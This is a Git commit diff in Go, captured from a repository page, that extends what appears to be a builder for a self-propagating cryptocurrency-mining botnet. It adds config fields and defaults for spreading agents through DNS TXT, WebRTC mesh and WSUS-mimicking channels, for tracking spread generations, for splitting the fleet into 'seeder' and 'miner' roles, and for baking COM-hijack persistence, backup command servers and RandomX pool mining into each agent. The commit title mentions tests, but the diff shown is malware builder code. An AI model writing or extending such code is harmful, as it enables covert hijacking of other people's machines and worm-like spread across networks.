Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -89,6 +89,7 @@ type BuildRequest struct {
|
||||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||||
WSUSFormatMimic bool `json:"wsus_format_mimic"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
@@ -125,8 +126,18 @@ type BuildRequest struct {
|
||||
|
||||
// APK mode — Android fleet node (mining off by default).
|
||||
ApkMode bool `json:"apk_mode"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
ApkAgentName string `json:"apk_agent_name"`
|
||||
MiningDisabled bool `json:"mining_disabled"`
|
||||
|
||||
// Spread genealogy watermark — informational telemetry baked into agent config.
|
||||
ParentAgentID string `json:"parent_agent_id"`
|
||||
SpreadGeneration int `json:"spread_generation"`
|
||||
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
|
||||
|
||||
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
|
||||
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -601,7 +612,40 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, uninstallPath)
|
||||
}
|
||||
|
||||
func applyFleetRoleBakeDefaults(req *BuildRequest) {
|
||||
role := normalizeForgeFleetRole(req)
|
||||
if role != "seeder" && !req.SeederMode {
|
||||
return
|
||||
}
|
||||
req.FleetRole = "seeder"
|
||||
req.SeederMode = true
|
||||
req.MiningDisabled = true
|
||||
req.MinerExecution = "inprocess"
|
||||
req.GPUEnabled = false
|
||||
req.DnsTxtSpread = true
|
||||
req.WebRTCMeshSpread = true
|
||||
req.WinRMSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.AutoSpread = true
|
||||
req.LotlOnionEnabled = true
|
||||
if len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
} else {
|
||||
var filtered []string
|
||||
for _, t := range req.LotlOnionTiers {
|
||||
switch strings.ToLower(strings.TrimSpace(t)) {
|
||||
case "dns_txt", "webrtc_mesh", "do_peer":
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) > 0 {
|
||||
req.LotlOnionTiers = filtered
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if req.ApkMode {
|
||||
return h.buildAPKAgent(ctx, req)
|
||||
}
|
||||
@@ -1245,6 +1289,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: %v,
|
||||
WebRTCMeshSpread: %v,
|
||||
WSUSCachePeerSpread: %v,
|
||||
WSUSFormatMimic: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
@@ -1273,8 +1318,17 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
|
||||
ParentAgentID: %q,
|
||||
SpreadGeneration: %d,
|
||||
SpreadStrain: %q,
|
||||
BakedJoinLane: %q,
|
||||
|
||||
ApkMode: %v,
|
||||
ScoutMode: %v,
|
||||
MiningDisabled: %v,
|
||||
|
||||
FleetRole: %q,
|
||||
SeederMode: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1334,6 +1388,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DnsTxtSpread,
|
||||
req.WebRTCMeshSpread,
|
||||
req.WSUSCachePeerSpread,
|
||||
req.WSUSFormatMimic,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
@@ -1357,11 +1412,28 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
strings.TrimSpace(req.ParentAgentID),
|
||||
req.SpreadGeneration,
|
||||
spreadStrainFromJoinLane(req.JoinLane),
|
||||
strings.TrimSpace(req.JoinLane),
|
||||
req.ApkMode,
|
||||
req.ScoutMode,
|
||||
req.MiningDisabled,
|
||||
normalizeForgeFleetRole(req),
|
||||
req.SeederMode || normalizeForgeFleetRole(req) == "seeder",
|
||||
)
|
||||
}
|
||||
|
||||
func normalizeForgeFleetRole(req *BuildRequest) string {
|
||||
role := strings.ToLower(strings.TrimSpace(req.FleetRole))
|
||||
switch role {
|
||||
case "seeder", "miner", "auto":
|
||||
return role
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
|
||||
Reference in New Issue
Block a user